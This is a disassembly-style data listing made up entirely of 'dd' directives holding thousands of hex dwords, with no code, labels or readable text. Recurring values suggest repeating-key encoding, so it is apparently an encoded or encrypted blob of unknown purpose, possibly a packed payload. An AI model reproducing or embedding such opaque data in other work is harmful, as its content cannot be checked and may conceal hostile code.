		dd 0B2C6746h, 3B55C614h, 559BF794h, 0E7CD3239h,	4670F6E0h
		dd 3BC9BB6Dh, 6512F114h, 6680DB4Eh, 0CAF3215h, 0C66E5BD7h
		dd 0D6EEC3C9h, 6688329Dh, 0E408B44h, 2A0B04B6h,	3C483631h
		dd 0E8CF094h, 0EFB804B6h, 0CE05DB80h, 0DC43CA12h, 426D1D48h
		dd 0BCB3785Fh, 2C2AD0D4h, 0C216D894h, 0B68928C5h, 6656DB4Fh
		dd 99613215h, 7EBEB378h, 88174357h, 0DD8B0D4Eh,	3E03B0D6h
		dd 661D8B44h, 8F093215h, 21DE6649h, 0A7A3F314h,	218B6649h
		dd 8FD1239Eh, 66443218h, 0D0769E25h, 0D67CCE9Dh, 4187B3D8h
		dd 6FD1BBBFh, 8F259A3Dh, 6611321Ch, 7C876C46h, 5A7CDFA8h
		dd 4216CD7Eh, 62D5B34Dh, 8F883215h, 66443218h, 0E25AD6A3h
		dd 118697BAh, 2875A090h, 4230CD1Ah, 4226B931h, 6615F694h
		dd 8FE83215h, 66443201h, 9AA1F636h, 9B6B504Bh, 269C6D33h
		dd 0D01D202Bh, 0A29A816Eh, 9F93F1ABh, 0DFD95345h, 25E26EA1h
		dd 42FFC394h, 0AE106A71h, 4B401B4Ch, 7D864A7Ch,	65A93D75h
		dd 69113215h, 0E987CCA2h, 66443214h, 0E31953EDh, 61B91A1Ch
		dd 66E1B01Ah, 0E7243215h, 4C50D6E6h, 0E32A534Ch, 612015FCh
		dd 6611B11Ah, 0E72D3215h, 66113203h, 6686DA75h,	8AF63215h
		dd 0F4002554h, 0A8644B91h, 0CF0E1753h, 0EC4B534Dh, 6622321Fh
		dd 0E74A6475h, 6EA6C4FAh, 625531Dh, 2802E994h, 63F835E4h
		dd 25883215h, 1B485FB5h, 6AA23D74h, 69113215h, 6688349Ch
		dd 66C93D15h, 0A4223215h, 7E93211h, 668839FCh, 52C23415h
		dd 6C307B39h, 0BCAC3B8Dh, 16AC36D2h, 915FEA27h,	0D9751609h
		dd 8236FF85h, 62AC4E24h, 0DD22524Ah, 0A8A96227h, 4255F574h
		dd 0D5B9B611h, 4208B330h, 4A038F11h, 39AB605Dh,	67EBCB1Ah
		dd 3C4C1641h, 62067694h, 48568CF1h, 2C248AE0h, 0D8127A37h
		dd 27CE4910h, 264FC23Ch, 53479138h, 0EBC9CA13h,	618A7C58h
		dd 9AF0CDECh, 6680B31Ah, 0E04B3215h, 66223217h,	6715375h
		dd 0D42AE494h, 0E25721Bh, 662244C7h, 0DF353E9Ch, 66883215h
		dd 67CEC314h, 8F1ECE4Ch, 677EB61Ah, 6E613215h, 93443215h
		dd 53368074h, 8F296C07h, 6688321Ch, 875C566Dh, 0C6A3F61Ch
		dd 69F90EEEh, 66895291h, 6978C715h, 666EB61Ah, 5AE83215h
		dd 8A0C3DD8h, 69443214h, 66223394h, 8D2DCA15h, 64A0B61Ah
		dd 0EF4B3215h, 66223214h, 0E77752E9h, 0E7A720E7h, 5452EDDFh
		dd 9343536Ah, 719A3DD6h, 6883215h, 68AD6D44h, 15223215h
		dd 6B81E0ACh, 0FE6DCC02h, 0C0999BBFh, 0B14A53F8h, 0EF11326Ah
		dd 67301611h, 67443215h, 3E3AB8E5h, 73953DEDh, 8F883215h
		dd 66443205h, 1DE7C515h, 0F7BA65EDh, 4DD8AA4Eh,	0B2D1C9EFh
		dd 19916144h, 0BB395DA0h
		dd 3F63124Eh, 664ADA75h, 0A903215h, 865CF262h, 43E43AAAh
		dd 51CB4891h, 8D9D544Ch, 9D915330h, 0E50D3D95h,	69BBCDEAh
		dd 6622359Dh, 0D91E5215h, 73982CCh, 4270B343h, 26CA0EE8h
		dd 0E7352E9Eh, 668836D1h, 9BB7B315h, 8F62DA29h,	66113201h
		dd 0BA94399h, 79A67ED6h, 92DBE00Dh, 0B2338BB6h,	1856B0FBh
		dd 0ADFD6340h, 277D5D3Bh, 7315FB94h, 8F495B1Dh,	0E795C510h
		dd 62A435E4h, 3FDCBBE9h, 9FD5D914h, 6645B21Ah, 0E7DB3215h
		dd 661136F9h, 428CBB15h, 664430ADh, 65D23315h, 77F86A0Dh
		dd 0F2883215h, 92547E2Ch, 0EB04391Dh, 2C42B21Bh, 0B8E2BDE2h
		dd 664494FCh, 0DA5215h,	13B2D594h, 67FECD74h, 0E5602E9Eh
		dd 0E5DB36D1h, 0E21EC9EEh, 668832E0h, 13C75AECh, 52AB3215h
		dd 8F716931h, 6688321Eh, 24CAF307h, 11C26742h, 8FC09FC1h
		dd 66883206h, 0AF2035A1h, 7BA90C5Eh, 0B271D703h, 0D10A8381h
		dd 7EA7F7Bh, 66238847h,	94103215h, 66888A45h, 0B6453215h
		dd 3C7A2A16h, 66113CFCh, 31661115h, 2EE1F444h, 585DE7F8h
		dd 69F49342h, 66883A9Ah, 64C13D15h, 6223215h, 63AE6574h
		dd 0E7883215h, 0D97C9FD6h, 0E7D9333Ah, 0D9299FFEh, 6E616D3Ah
		dd 0C443215h, 6C50BEAFh, 8FCD9EEDh, 9977CC53h, 6641DA75h
		dd 97E13215h, 3527396Dh, 69E9684Bh, 6456CA3h, 0AC90EC94h
		dd 0E71E445Fh, 66883213h, 6644BB1Ah, 69433215h,	66112597h
		dd 669ADB15h, 0B4863215h, 4211B5Eh, 0B779DF38h,	0ED36B816h
		dd 9D1AD588h, 690CD996h, 99ECCB91h, 670A3DEAh, 93443215h
		dd 66223EFCh, 1891CA15h, 0E387CC14h, 99BBCFF7h,	9AC3DBE0h
		dd 6971CDEAh, 66883097h, 691A6215h, 6622309Eh, 7C2B915h
		dd 0E76BBB46h, 664436D6h, 62C9B115h, 3A352E92h,	6AC069Ch
		dd 447FDB94h, 76CB43D5h, 30113215h, 977B6937h, 4E7B2C1Dh
		dd 8B04E4Dh, 706C557h, 0E769BB44h, 664436D4h, 62CBB115h
		dd 3A353E92h, 8FAC3E9Ch, 66443201h, 0F4FE1967h,	395F7F9Bh
		dd 4D235399h, 0C24460C2h, 21F5B4AEh, 0E7F0BB44h, 668836D4h
		dd 62ADB315h, 0E1223215h, 0EF4D1619h, 8EE81609h, 66443201h
		dd 2B38CDAFh, 0E3E29DB7h, 9D4CE913h, 7A66431Ah,	7E274EB4h
		dd 0EEDFB373h, 94096A1Bh, 12291EE7h, 3D3D5A74h,	5A983215h
		dd 6F0C3D31h, 6443215h,	0D89D5375h, 75586BFh, 0EE87F224h
		dd 66443214h, 0EC2D9EE9h, 66113201h, 2F6FB375h,	8E0F4F0Dh
		dd 66223213h, 0FE8238Eh, 7D2B33Ch, 662C767Dh, 422EBB15h
		dd 8D99F79Dh, 0FBE0CA4Ch, 0EF44324Bh, 96931619h, 8F48F935h
		dd 6688321Ch, 4D4C2612h, 7A5A3E47h, 16EAB2C2h, 60F4B61Ah
		dd 5ABD3215h, 8AA63D1Ah, 8F113215h, 66883206h, 55054217h
		dd 3E57095Dh, 16E1BBD6h, 0F3D8D0DAh, 5AE6EE4Eh,	96A63DFCh
		dd 9311321Eh, 0E287D929h, 6644220Bh, 6623BD1Ah,	5AED3215h
		dd 1B0C3DF6h, 93443211h, 0E22DD029h, 6611239Bh,	42B4B9EDh
		dd 0E7A5BB44h, 662236D4h, 62D0B315h, 0E1883215h, 9F181619h
		dd 30062E9Eh, 0A090D49Ch, 66883211h, 0E140F496h, 697E1621h
		dd 6611219Ah, 6686DB15h, 0C6EE3215h, 0F958C6DFh, 2A3B6064h
		dd 1DBB88CEh, 33603E9Eh, 0A3A3D79Ch, 66113211h,	0E18CF796h
		dd 9F181639h, 662234FCh, 0B29BE315h, 0EDD8CB23h, 0EF151621h
		dd 62E3B3F4h, 0E5113215h, 6A0F36D4h, 0E74B6E31h, 6622321Dh
		dd 6613B21Ah, 7E83215h,	79CD3DD6h, 6223215h, 661121FCh
		dd 90147A15h, 0C407E85Ah, 58D98780h, 7A46612Eh,	3C7CD8D1h
		dd 0B596B373h, 0A1D753A8h, 0C9CCB790h, 66883412h, 6649DB15h
		dd 9FF03215h, 44A891E1h, 0B80ADCC1h, 0EAF2A6Bh,	662209D9h
		dd 0DF353E9Ch, 66883215h, 7FCEC314h, 0E72D524Ch, 66113210h
		dd 5B51B373h, 0D2145320h, 63C6F2C2h, 98EFC695h,	0E644CCD9h
		dd 85641EF9h, 0E506369Eh, 0E6E436D1h, 0E387B2EEh, 99BBCCECh
		dd 662239FCh, 24BB5115h, 4E1F32CEh, 65010375h, 99DD8A45h
		dd 0A010CDEAh, 669CDB4Dh, 0ECC13215h, 9CE69E15h, 0D2EA49ABh
		dd 3A035D47h, 63A88455h, 0E3A9601Dh, 61B91E4Ch,	6687B11Ah
		dd 6CAD3215h, 3B223215h, 45B26ACh, 0F7D2083Bh, 95C552C1h
		dd 5845DD4Ch, 9FE48973h, 5F1DB974h, 6439A33h, 73F9B344h
		dd 392C373Eh, 668821FDh, 0B74B6915h, 75C6ED4Dh,	0B9F02424h
		dd 911B6622h, 36EE6BCBh, 77A6D44h, 420DB943h, 668CF694h
		dd 31243215h, 662222FDh, 0EF6F0315h, 32CC0A70h,	75E45B1Bh
		dd 8F5F3358h, 69486812h, 6688399Dh, 6642DB15h, 0F203215h
		dd 0FA827999h, 6B755A74h, 52CD3215h, 66248C31h,	95103215h
		dd 69023D4Bh, 8F443215h, 6622321Fh, 7E7AD5F5h, 0C5804E5Bh
		dd 8AC5BCF8h, 66223211h, 0DC35269Ch, 66883217h,	7C47C014h
		dd 662EDB4Fh, 0EB343215h, 9B1D089Eh, 0A271CCF2h, 0BE19FD38h
		dd 663FB01Ah, 8FE83215h, 6644321Bh, 6700C6E7h, 51313D51h
		dd 4491B33Ah, 0ED227161h, 0BC1953C4h, 9BDEB41Ah, 0E887CDEAh
		dd 6644321Dh, 6620B41Ah, 7713215h, 10F8C43h, 0E702049Dh
		dd 3911A4FBh, 0DCE7B304h, 0E79ABE71h, 0AF4E1EDBh, 0A8E4B33Eh
		dd 4F1488ECh, 9DA16CE6h, 3F7EF194h, 374277BDh, 661121FCh
		dd 0DB176415h, 0A4972B15h, 0A4C06EDh, 813FAB06h, 1F64B88Ch
		dd 0D14B524Dh, 6633DAE4h, 91C23215h, 49AA908Bh,	0C9296797h
		dd 0DDC63521h, 3CA7CDD3h, 8FE85374h, 66443219h,	0B45076BBh
		dd 30BC714Eh, 0E5878F49h, 76BFF95h, 66248F40h, 8D383215h
		dd 0E5AC1E9Eh, 61AD36D1h, 7E223215h, 4D89FE5Ah,	6961A057h
		dd 9A443215h, 138335F2h, 294C7913h, 0D7C571AEh,	0CB22AA6Ch
		dd 6623B91Ah, 0ED3215h,	6683DBBEh, 0E9A53215h, 4A344A1h
		dd 0CE76DCE6h, 3EDB62F7h, 0E5602E9Eh, 0E72D36D1h, 6611321Dh
		dd 668AB01Ah, 7243215h,	0DFE5B375h, 61B87F7h, 6688BD1Ah
		dd 7253215h, 669052BEh,	66113CFCh, 3F594C15h, 89029AFEh
		dd 707A9079h, 7655A3Fh,	668C8D42h, 88C53215h, 22E255C4h
		dd 0A090CC14h, 224855C4h, 69B1524Ah, 66223194h,	0FECCB215h
		dd 42B4BB74h, 6657B71Ah, 68CB3215h, 95113215h, 810C428Ah
		dd 0D78EC50Ah, 82118FEDh, 4265BBF2h, 6687DB19h,	1B133215h
		dd 7AFEEFFAh, 44A16E0Eh, 0B2985EB0h, 0D3CDC711h, 618A00DCh
		dd 661123FCh, 6B2DFF15h, 0B442F84Fh, 63A26292h,	63757151h
		dd 0E3873865h, 6644321Dh, 6620B41Ah, 7713215h, 37AC0E9Eh
		dd 0A7C5D39Ch, 66223211h, 6615F394h, 6A0F3215h,	6BAD6E31h
		dd 1B223215h, 24F1E84Fh, 0CD74ACFCh, 6BAC0291h,	37062E9Eh
		dd 0A790D39Ch, 66883211h, 0E140F396h, 9E7E1619h, 35353E9Eh
		dd 0A509D19Ch, 66443211h, 0E126F196h, 694D1609h, 6688399Bh
		dd 6642DB15h, 0C0643215h, 42AD50D5h, 38AC06EAh,	9340F696h
		dd 0E7C1BB46h, 661136D6h, 624BB115h, 0ED602E92h, 6ACB1631h
		dd 0C113215h, 0F511BC33h, 0FF18A0BFh, 8FD08AF4h, 99EEEC20h
		dd 668820FCh, 9986415h,	5B655660h, 2F085473h, 3EBF7110h
		dd 69542180h, 66223598h, 679B3D15h, 9F883215h, 0BBC1B7D2h
		dd 662035BAh, 0E81E3215h, 66883214h, 93CD67E0h,	4AA9D99Ch
		dd 62D5B131h, 668821FCh, 69C37515h, 57FBF758h, 671B0769h
		dd 0FB154B89h, 705BF28Ch, 8F2C841Ah, 66113206h,	0DF8BE35h
		dd 0B3B2C0D6h, 0EA10A5DFh, 0C1F8EF7Fh, 0E6D47090h, 0E54BB2ECh
		dd 66223229h, 0A2AE65ECh
		dd 4FC2BC60h, 0AD456DEEh, 13E6F194h, 0EB1E789Bh, 6688321Bh
		dd 66443BFCh, 0C9778615h, 0EEA15079h, 0D8DE50B3h, 4AAF4A45h
		dd 0E193F494h, 9510E101h, 0F161C74Bh, 9A443215h, 0B61D8447h
		dd 0F9A162F3h, 0E8A49A21h, 0A04C2821h, 66CCB24Dh, 8F4BC33Dh
		dd 66883210h, 40DA6101h, 6ADD63EFh, 4205C531h, 6685DB4Ch
		dd 0D9863215h, 44B1632Fh, 0AE7AC563h, 93E807A7h, 0ACFC6246h
		dd 2653076Eh, 6319DAD4h, 9906F991h, 471CF19Ch, 0E12D69CCh
		dd 6611321Dh, 667CB275h, 711D795h, 662223FCh, 7531F915h
		dd 2E5200D8h, 0BEF32E4Dh, 6A9214D1h, 8D900F43h,	36C71172h
		dd 0DE14F93Ch, 366D1172h, 6949F114h, 66883B97h,	0E7225215h
		dd 6105CFEh, 0E39A5374h, 61201E4Ch, 664426FCh, 2E67E615h
		dd 114E8D18h, 4518DAA8h, 6BB12D2h, 0EF34DBBh, 5F84B9D0h
		dd 698F9A33h, 66443F93h, 0E92D5215h, 66113215h,	0A748B373h
		dd 0DBC753C1h, 618A2AB4h, 24953D14h, 6883211h, 3616D9A2h
		dd 5F436B4Bh, 54933DD6h, 69883211h, 66443E95h, 60A23D15h
		dd 69113215h, 6688329Dh, 69970B15h, 99DBC697h, 679E3DEAh
		dd 93883215h, 66403EFCh, 75A33D15h, 8F113215h, 6688321Bh
		dd 31855F2Ah, 5A21F15Fh, 0ECD9C191h, 0E34F2360h, 61EBEF90h
		dd 66223217h, 6601BA1Ah, 0EDE83215h, 6643DBEEh,	74973215h
		dd 717B7CCBh, 8A0B5390h, 4250BB11h, 0B5ABC09Ch,	0D01ECB4Fh
		dd 9103521Bh, 6644B71Ah, 8F433215h, 66113218h, 0F9EC7FE9h
		dd 0AC15C1AEh, 9AA7F35Eh, 0E6E8B26Dh, 66D5B11Ah, 0E7BC3215h
		dd 3D22F3D6h, 2AD2B302h, 67991F30h, 2AAFB3DEh, 0E7331F30h
		dd 3D11F3FEh, 78083D02h, 6443215h, 662223FCh, 58C8DA15h
		dd 0C170D91Ch, 0CE3547FFh, 437F4BC9h, 0BF908B3Eh, 539308AEh
		dd 99FD6374h, 4FDDCDEAh, 0ED716BDEh, 63023DCAh,	443215h
		dd 2BE4F294h, 6670DB74h, 7D3215h, 44F36147h, 980A13A3h
		dd 0E01A4Eh, 0E3E0CE4Fh, 0EF443245h, 7AD51619h,	35ED6B31h
		dd 6688CDAEh, 0ED9D1315h, 0A2A11609h, 769B3D11h, 8F883215h
		dd 6644321Eh, 3CB6B543h, 76A241FEh, 342DA980h, 0B20090AFh
		dd 3CF11B60h, 0A590F93Ch, 135C76B7h, 664438FCh,	9D00015h
		dd 0E26E893Eh, 0EDB21381h, 0CE686B90h, 69CA5212h, 0DA113215h
		dd 0C37E3019h, 61B7E3EDh, 0C1EF9428h, 0ED7762BCh, 4A3268EFh
		dd 701E5A7h, 401BA79Eh,	6DF835BDh, 25883215h, 4F5B4BEBh
		dd 7204C2BAh, 0DB92CD0Ch, 61202AB4h, 0FCC03D14h, 8F223217h
		dd 66113218h, 28812942h, 5E3129B6h, 4AFDA2E1h, 69C9095Fh
		dd 66881F97h, 6654DB15h, 83063215h, 0D9BCF053h,	0FAEEF12Ah
		dd 0D0E0BFA1h, 0B51BCFCDh, 9E2EB41Ah, 6E8CDEAh,	39B18D73h
		dd 34C0CCAFh, 0D11E5355h, 0A0B953CCh, 0A075C224h, 0ED2DA45Dh
		dd 6611320Eh, 669DB71Ah, 76AD3215h, 2223215h, 0DC17D048h
		dd 99453C25h, 0DF0D77A2h, 0E7BBD4CDh, 661136F9h, 429CBB15h
		dd 0A4C45BA7h, 6EC8F2F2h, 0E6F8F895h, 8C08EEF7h, 3C94BAACh
		dd 662223FCh, 12108015h, 3B31866Dh, 0FA0857F0h,	0DA5F20CFh
		dd 6BBAC3Ch, 654FB375h,	374E518Dh, 8F43534Fh, 6611321Dh
		dd 76DA358h, 0E544B597h, 66228847h, 8C903215h, 265E57DAh
		dd 0A4C5C014h, 26F457DAh, 8F4B389Fh, 6688321Dh,	74D40330h
		dd 0B460D9FEh, 98CB8546h, 3C6FB2D2h, 9888F595h,	0F09763DAh
		dd 0B3E7FFEBh, 0E603F795h, 897462F8h, 3DDABA4Ch, 364254E0h
		dd 0E73B40A1h, 461CD13Dh, 697954CCh, 6611339Fh,	0AE80C715h
		dd 664439FCh, 0C8BBA115h, 0FF7B0203h, 0BC436C22h, 6CCD3DBFh
		dd 6223215h, 0CE9D2FABh, 0DD68B263h, 0F7FA6474h, 9149EB63h
		dd 3CD7B3C3h, 4F5B3F69h, 9D6D6CE6h, 63EAF194h, 0E91E5521h
		dd 66883212h, 6645BE1Ah, 0EDB3215h, 66117083h, 0DCAC269Ch
		dd 66443211h, 678E13Ch,	7C8B8E9h, 62036145h, 6280B131h
		dd 6ACBCE4Eh, 1D113215h, 65E40CE7h, 1AE8AA22h, 0CD9E07F3h
		dd 6614B61Ah, 6E83215h,	3525CB74h, 662230AEh, 0A1FFB315h
		dd 6794921Bh, 0A182B3CBh, 3D3E921Bh, 661122FCh,	790B2715h
		dd 10042EA6h, 44A1B050h, 60581A93h, 0AF3DBB82h,	69439A27h
		dd 66223392h, 0E3D6C715h, 61202AB4h, 66443214h,	6628B51Ah
		dd 0DE713215h, 0C3612C8h, 7B3B973h, 664D557Dh, 420DBB15h
		dd 0A509D19Ch, 66443211h, 0E126F196h, 694D1609h, 66883393h
		dd 7ACFC715h, 81AB6531h, 6615F594h, 0A10B3215h,	4278B511h
		dd 4A995249h, 76223C1h,	34AC3E9Eh, 0A4C5D09Ch, 66223211h
		dd 0E115F096h, 8FD41601h, 6644321Fh, 0AE61FA37h, 0F239396Fh
		dd 0EFD91CB0h, 62FF61F4h, 67223215h, 0A79269CCh, 4284B511h
		dd 8F245249h, 66223204h, 0B36FD759h, 62304197h,	0AD2C15A8h
		dd 2ED8F4E9h, 0E77753EDh, 777DDCDh, 0E7A7BB46h,	662236D6h
		dd 62D2B115h, 0EDAC2E92h, 0E7241631h, 18E97CCDh, 8F70CA43h
		dd 9977EA74h, 0EDFF61ECh, 917F8D55h, 56D2B3C6h,	0E7F0351Dh
		dd 0CE5987D6h, 55C1B354h, 0E7685D30h, 9AD22FEh,	3D9A1B4Ch
		dd 8F9763EDh, 0EEFEBA46h, 93D169EDh, 67C33DBFh,	9A223215h
		dd 9A86343h, 67A06206h,	3F401659h, 754D1F4Dh, 8F711A45h
		dd 66883204h, 1C9C1FBAh, 64513EAEh, 0F0E00B36h,	807F39E2h
		dd 4CA9B29Bh, 4F271F74h, 9E380228h, 4F8D8847h, 0B6450228h
		dd 6631DB4Fh, 0FAD53215h, 0CDFE7C87h, 27BB7593h, 52D05B35h
		dd 9141C66Dh, 68605200h, 0EE443215h, 0EFBE036Ch, 4434B8Eh
		dd 0E1A0D6B3h, 3FBFB913h, 67E3D894h, 0E77034FCh, 668836F9h
		dd 4250BB15h, 662236AFh, 3CC11B15h, 0BF3F3D75h,	664423FCh
		dd 5FF58A15h, 17564A28h, 0E069ADFFh, 0C3BC3B38h, 64375DFh
		dd 74F81DA7h, 6883215h,	97535419h, 8AD65611h, 8E14BE56h
		dd 0DB647C9Dh, 8FEF530Ah, 66223201h, 9C00B8E9h,	0EBE5616Ch
		dd 58BD9ED6h, 0F5D4EA3Ch, 56079C8Ch, 0E76DBB40h, 664436D0h
		dd 62E7B115h, 57351E26h, 4ABB1639h, 0EDBC6E31h,	0EF731609h
		dd 62D0B3F4h, 0E7883215h, 664436D4h, 422EB515h,	52EECE49h
		dd 0A2096B31h, 66443211h, 0A7953D75h, 52EEC774h, 0A2096C31h
		dd 66443211h, 6623B51Ah, 35E43215h, 0DCDAD19Ch,	66443211h
		dd 0E578E114h, 7A9636D6h, 8F7D6E31h, 99BBE848h,	662235FCh
		dd 43C25815h, 335E0594h, 74AC5275h, 0B8223215h,	1084BF22h
		dd 0C7227255h, 3A9E1CD7h, 0D0CD02D4h, 0CA96D94h, 79B6406h
		dd 6640BF1Ah, 0DF443215h, 0A1702EA8h, 0C955B790h, 66443712h
		dd 6631DB15h, 3FAC3215h, 324FB55Ah, 89F3EBB6h, 1E46EA42h
		dd 2751CF11h, 3EDE6276h, 8F1CF19Ch, 6622321Ah, 463AF4CAh
		dd 77724B26h, 40E04F5Fh, 34B70385h, 661136AFh, 0ED5B3315h
		dd 0A2C51601h, 66223211h, 6605DA75h, 837B3215h,	7D3C53AEh
		dd 0E9ADF0DDh, 0FA83D8E7h, 0DDBB4835h, 6FAD7432h, 12223215h
		dd 0ECA50118h, 9B6869ACh, 49ABB34Eh, 714BD6Fh, 3FAA6145h
		dd 0DED5AA4Fh, 3BDC684Ch, 6779EA24h, 3E0931E5h,	6685BA1Ah
		dd 0E7243215h, 0EBAED9E7h, 0A1FF8B6Eh, 0EDE92688h, 0CE686B90h
		dd 6AAE3D12h, 8F113215h, 66883212h, 9DB7B7DBh, 0EDBACF99h
		dd 0CE370B80h, 0DBDDCA12h, 99BBCDEAh, 67FDC14h,	661137FDh
		dd 0D26C9015h, 0E64B5EE0h, 66223215h, 0DB92534Ah, 61203A70h
		dd 0DFC03D14h, 6223213h, 661EDBE9h, 27BA3215h, 74312788h
		dd 17A3658Bh, 8028AC09h
		dd 0BEB3537Dh, 666CB01Ah, 0EE2D3215h, 66113219h, 668EB01Ah
		dd 0EE4B3215h, 66223215h, 0E01EE82Eh, 66883329h, 664CB61Ah
		dd 0E82D3215h, 66113217h, 0D3015375h, 61EC00DCh, 8EE48075h
		dd 66113219h, 51DF16C8h, 84817E49h, 0B0E73A4Bh,	3EDEB973h
		dd 0E315B974h, 8F439DC8h, 6622321Eh, 73C36E48h,	3FC42281h
		dd 0E77ADC8Dh, 0DC2E1679h, 0E76F3222h, 9A841651h, 6702DB17h
		dd 0E72E1649h, 9A1D1679h, 0E7CEDB17h, 0DC481651h, 9E5C3222h
		dd 6618BD1Ah, 0DCE83215h, 65B5C04Bh, 8F43CC9Eh,	66113411h
		dd 42BCCDECh, 6280B34Ah, 8F223215h, 66113207h, 37DEAA24h
		dd 4B6C5A2h, 0FFE00813h, 0D3D7D34Ah, 0E34FD17Bh, 61EC3A70h
		dd 66223214h, 661DB01Ah, 0DCE83215h, 51B83637h,	0D8E1B373h
		dd 52EE5369h, 0A2096931h, 66443211h, 662238FCh,	0DF594315h
		dd 0FB63BE1Ch, 0ED83D792h, 0EF751619h, 62D6B3F2h, 0E5883215h
		dd 5AC336D2h, 0E92D6E31h, 66113214h, 42BCCDE9h,	6280B34Bh
		dd 69223215h, 66113398h, 0EFD8CB15h, 664037F5h,	0A6A13215h
		dd 12EE6211h, 0E9D03631h, 8F181611h, 6622321Ah,	0AB037831h
		dd 13F6B7CEh, 994C9AB8h, 8F4A7F4Dh, 99EEE670h, 668839FCh
		dd 1E15E315h, 0D50DEBFEh, 87770C39h, 7E298F96h,	694535BDh
		dd 66270591h, 6BF85215h, 0F0883215h, 3BE99AEDh,	8A808A24h
		dd 0C06EBF44h, 0FF6EF394h, 9F254190h, 4A7BAF3Eh, 75F835BDh
		dd 3F883215h, 0D58285FFh, 582B1900h, 4925C5ACh,	0BA8DFAB1h
		dd 0EBCF15B1h, 618A1C40h, 6610B31Ah, 36743215h,	240E76ADh
		dd 3EE33334h, 8F90EB14h, 47CA7851h, 66443BFCh, 0BF34CB15h
		dd 2DFFFDB9h, 0D8DE0F10h, 0CED6DC0h, 6ECCB353h,	0E772C73Fh
		dd 0D5CF60FBh, 0D682B324h, 0E75DAC2Fh, 140B0DFBh, 387933F3h
		dd 8FC5CB3Ch, 80F3CF8h,	66113AFCh, 2B73815h, 24E17294h
		dd 639961A9h, 0E7113215h, 0ED8061D4h, 0E79D1B17h, 0ED2A61FCh
		dd 6DF86917h, 8D883215h, 9E12D31Ah, 401E37FDh, 8A923D2Dh
		dd 4284BB11h, 0AECCDBA4h, 662CDB4Ch, 0AC823215h, 504EA2D0h
		dd 120A79Eh, 0EB1EE81Bh, 0DCE452BFh, 2C7540F3h,	578C0374h
		dd 69EA03D4h, 66113693h, 7E85215h, 6EFC774h, 95A386A3h
		dd 3BEDF1CAh, 84016074h, 6640F094h, 0A4A13215h,	4205B511h
		dd 6AC169Eh, 90298A73h,	662235FCh, 0D590BB15h, 8E818FCBh
		dd 4258B974h, 0E7C7BB40h, 661136D0h, 624DB315h,	0E1443215h
		dd 67E1639h, 0EE1E20A3h, 66883215h, 0EC4B5274h,	66223217h
		dd 9970CB9Fh, 0E5D11621h, 76AD36D1h, 0CD223215h, 0FC40D1F0h
		dd 0BE4BAB0Bh, 94C76055h, 99641CA3h, 0E74F1621h, 668836D1h
		dd 0E7225215h, 0AA7ADEh, 74228ABh, 336FBB42h, 664436A8h
		dd 3BCD3315h, 0E115F596h, 8FD41629h, 6644321Fh,	0DDCB8B7Dh
		dd 42F15E40h, 6861F53Dh, 69BBCDC3h, 66222B9Bh, 68F95215h
		dd 0BA883215h, 7C9C7FDDh, 0D127B785h, 0EA692E5Eh, 0EDEE683Dh
		dd 0E38353E2h, 618DEF90h, 66113217h, 0F43CCA75h, 4E365A74h
		dd 4AAB3215h, 0EFE4BB31h, 8F746FFEh, 66443213h,	0A6D65ABFh
		dd 0D01E32B5h, 0E487C71Bh, 66443214h, 0E6DBB2E0h, 6663B11Ah
		dd 0E77D3215h, 660358FEh, 0D3C9B304h, 670BF430h, 0D34BB3DEh
		dd 0E75EF430h, 666558D6h, 61923D04h, 69883215h,	66443396h
		dd 0DB77CB15h, 66113214h, 6D5D914h, 0E722E19Eh,	75F59FCh
		dd 6611D0FCh, 7B063D15h, 69443215h, 6622259Dh, 6603DB15h
		dd 0E4123215h, 0A90439C7h, 505CE627h, 0B52C50E6h, 0D9ACF733h
		dd 63C13D75h, 0DE223215h, 4AF79737h, 75A8D1Ah, 99F36173h
		dd 4E05DB95h, 41D0B2ECh, 75616973h, 1443215h, 0E5A46D5Dh
		dd 3FFE8B13h, 0FFC350BCh, 98A0AE63h, 924A9181h,	0EF113229h
		dd 66321601h, 4F443215h, 3CF3BBDFh, 661121FCh, 0C68AEC15h
		dd 0C500D7E7h, 9978A29Ch, 173E15EFh, 37222257h,	6649BC1Ah
		dd 6ECB3215h, 53113215h, 7BA9B3B2h, 36E95D71h, 66DD8946h
		dd 0BE983215h, 3E49134Eh, 664435FCh, 0E39AE815h, 966C4CA8h
		dd 6A308B44h, 87C5786Bh, 3D072326h, 0B716D3D4h,	0A79B3F4h
		dd 276D601Dh, 4CB2C394h, 0AD1049EFh, 0E7431B4Ch, 0CE56CFFEh
		dd 745263h, 3F8C1BAFh, 0EDE9BBA3h, 0CE686B90h, 6627DB12h
		dd 265C3215h, 9F97BF64h, 407DA79Eh, 0E92D35BDh,	6611321Dh
		dd 8B8575h, 7D926ACh, 99D937FCh, 0E3D6CAEAh, 6127EF90h
		dd 66443217h, 662EBF1Ah, 0E11E3215h, 66883213h,	6644B41Ah
		dd 37DB3215h, 0E740C39Ch, 56361611h, 0E71F0865h, 16128CFEh
		dd 9F716B2Fh, 736F895h,	664437FCh, 0B72AD815h, 0D01EB6B6h
		dd 669BDB1Bh, 8A9F3215h, 5B1BE5ADh, 8C60756Dh, 4B0ED38Ah
		dd 0ACE1CA1Ch, 9FA2C752h, 0F8923D95h, 6883215h,	6647B61Ah
		dd 0ED443215h, 6603DBDBh, 0EDFF3215h, 0CEA2CB51h, 5D668F6Eh
		dd 0EEC02DA4h, 78E3CF24h, 0EFFB6574h, 67693979h, 0AD106DEEh
		dd 0A01D994h, 0E84B791Eh, 66223219h, 6617B31Ah,	0E5873215h
		dd 66443215h, 6625DA75h, 1C013215h, 0CF0A896h, 6656DB04h
		dd 43A53215h, 0CAE8E818h, 20EA80FAh, 0FD7E9B54h, 23B7C0E5h
		dd 6600DB4Dh, 0B82F3215h, 0BAC81E5Ch, 2B3DCF28h, 14493C40h
		dd 745058Bh, 0A0C5C192h, 66223214h, 0E11EC192h,	66883214h
		dd 6613DBE0h, 6DE3215h,	558E8973h, 993C6274h, 4ECBF395h
		dd 0E9CBB2F4h, 58AA524Dh, 7BE0A6Fh, 66448946h, 0AD0B3215h
		dd 9A4A6B46h, 793062E0h, 35315221h, 616D2AEh, 3DC90360h
		dd 9FD0F334h, 3CFE8D42h, 9D0B1FE3h, 0E7DA1B4Ah,	90D288D6h
		dd 98CF5238h, 66A73D46h, 3D113215h, 3F0DB974h, 8F439A39h
		dd 6622321Eh, 0F0D4FAF1h, 3A473876h, 0ED9295B1h, 0CE040B80h
		dd 759E3D12h, 8F883215h, 6644321Bh, 0C53337B2h,	0DBB6E351h
		dd 5F1218CDh, 0E5B8C48Fh, 0CE3A93A8h, 0E21E3312h, 9977C514h
